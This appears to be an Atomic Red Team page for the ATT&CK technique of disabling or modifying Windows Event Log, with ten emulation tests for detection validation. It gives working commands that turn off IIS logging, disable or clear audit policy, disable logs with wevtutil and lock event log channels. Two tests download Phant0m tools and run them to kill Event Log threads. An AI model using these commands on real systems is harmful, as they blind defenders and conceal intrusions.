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T1685.001 - Disable or Modify Tools: Disable or Modify Windows Event Log

Description from ATT&CK

Adversaries may disable or modify the Windows Event Log to limit data that can be leveraged for detections and audits. Windows Event Log records user and system activity such as login attempts and process creation.(Citation: EventLog_Core_Technologies) This data is used by security tools and analysts to generate detections.

The EventLog service maintains event logs from various system components and applications. By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to Security Settings\Local Policies\Audit Policy for basic audit policy settings or Security Settings\Advanced Audit Policy Configuration for advanced audit policy settings.(Citation: Microsoft Audit Policy)(Citation: Microsoft Adv Security Settings) auditpol.exe may also be used to set audit policies.(Citation: Microsoft auditpol)

Adversaries may target system-wide logging or just that of a particular application. For example, the Windows EventLog service may be disabled using the Set-Service -Name EventLog -Status Stopped or sc config eventlog start=disabled commands (followed by manually stopping the service using Stop-Service -Name EventLog). Additionally, the service may be disabled by modifying the "Start" value in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog then restarting the system for the change to take effect.(Citation: Disable_Win_Event_Logging)(Citation: disable_win_evt_logging)

There are several ways to disable the EventLog service via registry key modification. Without Administrator privileges, adversaries may modify the "Start" value in the key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-Security, then reboot the system to disable the Security EventLog.(Citation: winser19_file_overwrite_bug_twitter) With Administrator privilege, adversaries may modify the same values in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-System and HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-Application to disable the entire EventLog.

Additionally, adversaries may use auditpol and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the /success or /failure parameters. For example, auditpol /set /category:"Account Logon" /success:disable /failure:disable turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC) To clear the audit policy, adversaries may run the following lines: auditpol /clear /y or auditpol /remove /allusers.(Citation: T1562.002_redcanaryco)

Source

Atomic Tests

Atomic Test #1: Disable Windows IIS HTTP Logging

Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union). This action requires HTTP logging configurations in IIS to be unlocked.

Use the cleanup commands to restore some default auditpol settings (your original settings will be lost)

Supported Platforms: Windows

auto_generated_guid: 69435dcf-c66f-4ec0-a8b1-82beb76b34db

Inputs

Name Description Type Default Value
website_name The name of the website on a server string Default Web Site

Attack Commands: Run with powershell!

C:\Windows\System32\inetsrv\appcmd.exe set config "#{website_name}" /section:httplogging /dontLog:true

Cleanup Commands

if(Test-Path "C:\Windows\System32\inetsrv\appcmd.exe"){
  C:\Windows\System32\inetsrv\appcmd.exe set config "#{website_name}" /section:httplogging /dontLog:false *>$null
}

Atomic Test #2: Disable Windows IIS HTTP Logging via PowerShell

Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union). This action requires HTTP logging configurations in IIS to be unlocked.

Use the cleanup commands to restore some default auditpol settings (your original settings will be lost)

Supported Platforms: Windows

auto_generated_guid: a957fb0f-1e85-49b2-a211-413366784b1e

Inputs

Name Description Type Default Value
website_name The name of the website on a server string Default Web Site

Attack Commands: Run with powershell!

set-WebConfigurationProperty -PSPath "IIS:\Sites\#{website_name}\" -filter "system.webServer/httpLogging" -name dontLog -value $true

Cleanup Commands

if(Test-Path "C:\Windows\System32\inetsrv\appcmd.exe"){
  C:\Windows\System32\inetsrv\appcmd.exe set config "#{website_name}" /section:httplogging /dontLog:false *>$null
}

Atomic Test #3: Kill Event Log Service Threads

Kill Windows Event Log Service Threads using Invoke-Phant0m. WARNING you will need to restart PC to return to normal state with Log Service. https://artofpwn.com/phant0m-killing-windows-event-log.html

Supported Platforms: Windows

auto_generated_guid: 41ac52ba-5d5e-40c0-b267-573ed90489bd

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy RemoteSigned -ErrorAction Ignore
$url = "https://raw.githubusercontent.com/hlldz/Invoke-Phant0m/f1396c411a867e1b471ef80c5c534466103440e0/Invoke-Phant0m.ps1"
$output = "$env:TEMP\Invoke-Phant0m.ps1"
$wc = New-Object System.Net.WebClient
$wc.DownloadFile($url, $output)
cd $env:TEMP
Import-Module .\Invoke-Phant0m.ps1
Invoke-Phant0m

Cleanup Commands

Write-Host "NEED TO Restart-Computer TO ENSURE LOGGING RETURNS" -fore red
Remove-Item "$env:TEMP\Invoke-Phant0m.ps1" -ErrorAction Ignore

Atomic Test #4: Impair Windows Audit Log Policy

Disables the windows audit policy to prevent key host based telemetry being written into the event logs. Solarigate example

Supported Platforms: Windows

auto_generated_guid: 5102a3a7-e2d7-4129-9e45-f483f2e0eea8

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

auditpol /set /category:"Account Logon" /success:disable /failure:disable
auditpol /set /category:"Logon/Logoff" /success:disable /failure:disable
auditpol /set /category:"Detailed Tracking" /success:disable

Cleanup Commands

auditpol /set /category:"Account Logon" /success:enable /failure:enable
auditpol /set /category:"Detailed Tracking" /success:enable
auditpol /set /category:"Logon/Logoff" /success:enable /failure:enable

Atomic Test #5: Clear Windows Audit Policy Config

Clear the Windows audit policy using auditpol utility. This action would stop certain audit events from being recorded in the security log.

Supported Platforms: Windows

auto_generated_guid: 913c0e4e-4b37-4b78-ad0b-90e7b25010f6

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

auditpol /clear /y
auditpol /remove /allusers

Cleanup Commands

auditpol /set /category:"Account Logon" /success:enable /failure:enable
auditpol /set /category:"Detailed Tracking" /success:enable
auditpol /set /category:"Logon/Logoff" /success:enable /failure:enable

Atomic Test #6: Disable Event Logging with wevtutil

Wevtutil can be used to disable logs. NOTE: RansomEXX ransomware uses this to disable Security logs post-encryption.

Supported Platforms: Windows

auto_generated_guid: b26a3340-dad7-4360-9176-706269c74103

Inputs

Name Description Type Default Value
log_name Name of the log to be disabled string Microsoft-Windows-IKE/Operational

Attack Commands: Run with command_prompt!

wevtutil sl "#{log_name}" /e:false

Cleanup Commands

wevtutil sl "#{log_name}" /e:true

Atomic Test #7: Makes Eventlog blind with Phant0m

Use Phant0m to disable Eventlog

Supported Platforms: Windows

auto_generated_guid: 3ddf3d03-f5d6-462a-ad76-2c5ff7b6d741

Inputs

Name Description Type Default Value
file_name exe version of Phant0m path PathToAtomicsFolder\T1685.001\bin\Phant0m.exe

Attack Commands: Run with command_prompt!

"#{file_name}"

Cleanup Commands

echo "Sorry you have to reboot"

Dependencies: Run with powershell!

Description: Phant0m.exe must exist on disk at specified location (#{file_name})
Check Prereq Commands
if (Test-Path "#{file_name}") {exit 0} else {exit 1}
Get Prereq Commands
New-Item -Type Directory (split-path "#{file_name}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1685.001/bin/Phant0m.exe" -OutFile "#{file_name}" -UseBasicParsing

Atomic Test #8: Modify Event Log Channel Access Permissions via Registry - PowerShell

This test simulates an adversary modifying access permissions for a Windows Event Log Channel by altering the "ChannelAccess" registry value. Specifically, it changes the Security Descriptor Definition Language (SDDL) string. These modifications can restrict or grant access to specific users or groups, potentially aiding in defense evasion by controlling who can view or modify a event log channel. Upon execution, the user shouldn't be able to access the event log channel via the event viewer or via utilities such as "Get-EventLog" or "wevtutil".

Supported Platforms: Windows

auto_generated_guid: 8e81d090-0cd6-4d46-863c-eec11311298f

Inputs

Name Description Type Default Value
ChannelPath Path to the event log service channel to alter string HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-TaskScheduler/Operational

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

Set-ItemProperty -Path #{ChannelPath} -Name "ChannelAccess" -Value "O:SYG:SYD:(D;;0x1;;;WD)"
Restart-Service -Name EventLog -Force -ErrorAction Ignore

Cleanup Commands

Set-ItemProperty -Path #{ChannelPath} -Name "ChannelAccess" -Value "O:BAG:SYD:(A;;0x2;;;S-1-15-2-1)(A;;0x2;;;S-1-15-3-1024-3153509613-960666767-3724611135-2725662640-12138253-543910227-1950414635-4190290187)(A;;0xf0007;;;SY)(A;;0x7;;;BA)(A;;0x7;;;SO)(A;;0x3;;;IU)(A;;0x3;;;SU)(A;;0x3;;;S-1-5-3)(A;;0x3;;;S-1-5-33)(A;;0x1;;;S-1-5-32-573)"
Restart-Service -Name EventLog -Force -ErrorAction Ignore

Atomic Test #9: Modify Event Log Channel Access Permissions via Registry 2 - PowerShell

This test simulates an adversary modifying access permissions for a Windows Event Log Channel by altering the "ChannelAccess" registry value. Specifically, it changes the Security Descriptor Definition Language (SDDL) string. These modifications can restrict or grant access to specific users or groups, potentially aiding in defense evasion by controlling who can view or modify a event log channel. Upon execution, the user shouldn't be able to access the event log channel via the event viewer or via utilities such as "Get-EventLog" or "wevtutil".

Supported Platforms: Windows

auto_generated_guid: 85e6eff8-3ed4-4e03-ae50-aa6a404898a5

Inputs

Name Description Type Default Value
ChannelPath Path to the event log service channel to alter string HKLM:\SOFTWARE\Policies\Microsoft\Windows\EventLog\Setup

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

New-Item -Path #{ChannelPath} -Force
Set-ItemProperty -Path #{ChannelPath} -Name "ChannelAccess" -Value "O:SYG:SYD:(D;;0x1;;;WD)"
Restart-Service -Name EventLog -Force -ErrorAction Ignore

Cleanup Commands

Remove-Item -Path #{ChannelPath} -Force
Restart-Service -Name EventLog -Force -ErrorAction Ignore

Atomic Test #10: Modify Event Log Access Permissions via Registry - PowerShell

This test simulates an adversary modifying access permissions for a Windows Event Log channel by setting the "CustomSD" registry value. Specifically, it changes the Security Descriptor Definition Language (SDDL) string. These modifications can restrict or grant access to specific users or groups, potentially aiding in defense evasion by controlling who can view or modify a event log channel. Upon execution, the user shouldn't be able to access the event log channel via the event viewer or via utilities such as "Get-EventLog" or "wevtutil".

Supported Platforms: Windows

auto_generated_guid: a0cb81f8-44d0-4ac4-a8f3-c5c7f43a12c1

Inputs

Name Description Type Default Value
CustomSDPath Path to the event log service channel to alter string HKLM:\SYSTEM\CurrentControlSet\Services\EventLog\System

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

Set-ItemProperty -Path #{CustomSDPath} -Name "CustomSD" -Value "O:SYG:SYD:(D;;0x1;;;WD)"

Cleanup Commands

Remove-ItemProperty -Path #{CustomSDPath} -Name "CustomSD"
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